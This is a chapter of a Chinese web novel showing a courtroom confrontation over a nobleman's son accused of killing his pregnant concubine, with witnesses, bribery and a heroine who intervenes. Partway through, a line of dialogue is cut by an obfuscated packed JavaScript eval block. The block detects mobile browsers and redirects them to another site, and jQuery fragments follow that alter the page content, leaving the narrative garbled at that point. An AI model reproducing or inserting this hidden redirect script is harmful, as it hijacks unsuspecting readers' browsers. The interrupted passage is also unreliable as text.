30. 唇枪舌战

作品:《死对头误食听话散后

    孙文翰闻言,扯了扯嘴角,懒洋洋道:“武山的确原是我孙府的仆伇,不过三个月前,因为偷盗,已经被我赶出了孙家。定是心生怨恨,才故意编出这些话来污蔑于我!”


    “我没有偷盗,是你没想到那娘子回家后会投井自尽,你怕事情闹大,便给我安了一个罪名将我赶出府去,还遣了人暗杀于我……若不是我命大,没有伤及脏腹,不然我都没办法站到这里来做证!”


    孙文翰一脸平静:“我说你偷盗,全孙府的人都可以为我作证。可你说我暗杀于你,谁可以给你证明?”


    “我……”武山语塞,急急看向上头的李向天,“大人,我说的都是实情,而且,我还亲眼看到了孙文翰打死了府中的妾室陈雅君。”


    孙文翰笑了:“你看,露馅了吧。照你的说辞,三个月前我就已经把你赶出了孙府,那你又如何亲眼看见我打死了陈雅君?”


    李向天点点头:“在理,武山,你要想清楚再回话。”


    “大人,草民没有说慌,草民真的是亲眼看到的。”武山一歪眼睛,开始回忆。


    “我被赶了出来,又遭到灭口,差点命丧黄泉,休养了这三个月,这些年攒下的银子都花光了,再这么下去,我非饿死不可。”


    “我在长安无亲无故,最后,我只能想到去求赵夫人。赵夫人卧于病榻之上,却对我们这些下人是极好的。”


    “选在那日,是因为我打听到皇后娘娘设了宫宴,府中没留下什么人。却不想孙文翰早早就回来了,我没办法,只好先躲在暗处,却亲眼目睹了孙文翰打死了自己的妾室陈雅君,草席一卷,扔去了乱坟岗。连她的侍女,也赶出了府。还威胁底下的人,我都听得清清楚楚。”


    李向天问:“孙文翰何故打死陈雅君?”


    武山却不说话了。


    “这……你不是说自己亲眼所见?你若不肯说,那你之前的那些话可就都做不得数了。”


    “大人,他不肯说,是为我考虑。但事到如今,我也没有什么好顾及的了。”人群中又站出来一人,上前跪下,“草民名叫春桃,是孙府的丫头。是我生贱,想攀高枝,勾引了孙文翰。


    “出事那日,陈娘子从宫宴上回来,正好撞见,两人发生争执。当时陈娘子还怀有身孕,竟被活活打死……我被吓得不轻,当下便十分后悔。没想到,这孙文翰对我也起了杀心,若不是武山将我救走,恐怕,这里躺着的就是四具尸体了。”


    武山见她站了出来,也只好说道:“是这样,我刚才不说,是怕春桃姑娘的名声……”


    春桃扬了扬脸:“我的名声,对于人命来说不值一提。大人,孙文翰罪大恶极,对一有孕之人拳打脚踢,实在残暴,望大人明查,让亡灵安息。”


    孙文翰脸上终于露出了不安,他四下张望一番,又定了定神:“大人,他们的话,做不得数。”


    “这些人都与孙家有仇怨,为了报复,什么都编得出来,简直荒唐。”


    他一个一个指过去:“刘仁德,虽开了个布庄,可生意常不景气,我孙家以前经常帮忙,这几日没去他庄上买布,他心生记恨,便把女儿的死推到了我的头上。”


    “武山,在府中偷盗,我孙家念他守护多年,并未报官,只是将他赶出了府去。他却反咬我一口,还说我找人暗杀他。可笑,蝼蚁一只,我才懒得理会。”


    “至于春桃……浪荡贱妇!你是怎么有脸站到这公堂上来的?你勾引我,媚态百出,如今又是打的什么响算盘?!臭婊子!烂贱人!我呸!”


    “你!”武山忍不了,想上前撕了孙文翰的嘴,刘仁德和春桃只管捂着脸哭。


    李向天很是头疼:“不得咆哮公堂!”


    场面一度有些混乱,围观的百姓你一言我一语,竟然还有人支持起了孙文翰。


    “他不会是被这些人给做局了吧?”


    “我看像,他们肯定是想向孙家讨银子……”


    孙文翰慢慢站起来,打了个哈欠,头又抬得高高的:“大人,你都听见看见了吧,这些人就会撒泼打混,嘴里没有一句实话,他们的证词不可信。”


    “这——”李向天犹豫,若无十足的证据,他便要当堂放人,可看着孙文翰这副无赖样子,明显就是仗着自己的身份,不把人命放在眼里。


    谢绛亭也着实没想到孙文翰这么能狡辩,见了棺材还是嘴硬,这样的人实在难缠。


    他看向人群中的柳岚音,不知道她还有没有什么办法。


    柳岚音分析了一下形势,她觉得自己这时候要站出来了。


    谢绛亭不愿她参与进来,但她心里清楚,自己早早就被孙家盯上了。


    与其坐以待毙,不如主动出击。


    谢绛亭看出她的意图,赶紧摇了摇头。这件事情已经牵扯够多了,他不想再把柳岚音牵扯进来。


    柳岚音朝他笑笑,迈着坚定的步子向前,对孙文翰道:“你说他们都与孙家结过仇,故意诬陷于你。可我向来与你孙家无任何交集,我的供词是否就可信了?”


    孙文翰看到柳岚音,嘴角慢慢扯出一抹讥讽的笑来。


    柳岚音朝李向天规矩地行了一礼:“小女柳岚音,家父乃礼部侍郎柳明远。”


    李向天的眼睛一下就亮了:“柳小姐,上个雅座。”


    “不必了。”柳岚音抬手阻止,“我来做人证,陈雅君的事,她的贴身丫鬟画屏全都告诉了我。而画屏被孙文翰灭口,那雇的杀手也已经找到。”


    她把事情讲出来,孙文翰一言不发,不反驳,却也不承认自己的罪行。


    场面陷入僵局,这时有人喊道:“孙府来人了!孙老爷来了!”


    众人转头看去,只见东边队伍浩浩荡荡,家丁们簇拥着的那个老头,正是孙文翰的爹。


    孙文翰立刻挺了挺胸膛,又硬气起来:“爹,爹,他们说我害了人命,要抓我下大狱呢!”


    “我看谁有这么大的胆子!”孙老爷中气十足,几步便走了过来,“谁说我儿杀人了?”


    谢绛亭不怕他,将柳岚音往后拉了拉,自己向前道:“孙大人,国有国法,你儿子所犯之罪已记录在案,你若不信,拿来看便是。”


    孙老爷一把夺过案纸来瞧了瞧,轻笑一声:“一派胡言!李大人就是这么草率审案的,竟只听信几个庶民的一面之词。若真如你们所言,这些事都发生在我孙府,那我府上家丁们的证词是不是也要听一听?”


    “


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17217409|196953||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    来,你们几个,说说看,人是不是我儿子杀的?”


    “不是!不是少爷!”


    好家伙,谁看不出来这些家丁都是故意安排来的,可话自愿从他们嘴里说出来,谁又能有什么办法。


    孙老爷走到柳岚音谢绛亭面前,微微一笑:“二位的父亲是我最敬重的,不知孙家是哪里怠慢了二公子二小姐,老夫在这里先赔个不是。”


    柳岚音听出了他的言外之意,皮笑肉不笑地回应:“孙老爷哪里的话,我们对事不对人。”


    这时,王二带着一男一女进来:“大人,这两位是陈雅君的爹娘,过来认尸的。陈父是……”


    “行了,一个九品的芝麻小官,有什么好介绍的。”孙老爷笑道,“快来认认尸体吧,若是认完了,就赶紧抬回义庄去,臭得很。”


    “无论如何,你女儿是我儿子的妾室,遭此横祸,我也不忍。抚恤的银子老夫会再添上些,毕竟你不是还有两个儿子等着娶媳妇儿么。”


    此言一出,陈父立刻换了表情,尸体草草看了几眼,便道:“大人,听说小女的尸体是在山上找到的?”


    李向天点点头:“是。”


    “唉,天命如此。”陈父叹道,“你说大着肚子,还到山上去玩什么,还一尸两命……这……唉……”


    谢绛亭忍不住开口道:“谁说你女儿是死于山间?她是被人活活打死的!”


    “不会。”陈父道,“她是我的女儿,我自是最了解她。她生性爱玩,最喜爬山……有孕竟还把持不住……”


    “你!”谢绛亭气极,刚要与他争论,被柳岚音拉了拉袖子。


    与这种人争论又有什么意义呢。


    陈父看向李向天:“大人,既然此事已经清楚,那我是不是可以带着我的女儿回家去了?”


    “不可!”柳岚音道,“按大燕律,今日之事并未完全明了,还需再审。尸体送回义庄,由专人看护,疑犯嫌犯应先押入狱中。”


    “李大人,我说得可对?”


    李向天擦擦额上的冷汗,看向孙老爷,又补充一句:“是,国法如此。不过,孙少爷在我这儿不会吃苦,只是暂时扣押。若明日没有新的证据,那便可以结案了。”


    孙老爷也不满意,柳岚音和谢绛亭更不满意。


    可是,又能有什么更好的办法?


    柳岚音垂头丧气地回了家,一进院子,她看到阿姐正坐在石凳上看书。


    她走过去,在旁边坐下,只盯着地面看。


    “岚茵,可是受挫了?”事情闹得这么大,柳家不可能不知道。柳夫人要去找她,被柳汀月拦下了。


    柳汀月没抬头,眼睛还落在书册上。


    “嗯,若还是不能让他认罪,到了明日,就功亏一篑了。”柳岚音沉了沉身子,“阿姐,若是有很多人因为惧怕或者利益跟着一起撒谎,有什么办法能让他们说实话呢?”


    柳汀月想了想,拿了纸笔,写了字,推给她看。


    柳岚音看清后,顿时瞪大了眼睛:“这……阿姐,你学坏了啊!”


    柳汀月笑着摇摇头:“对付孙文翰这种人,何需用什么磊落之法。再说,不过是把实话逼出来,也不是什么下流的招数。”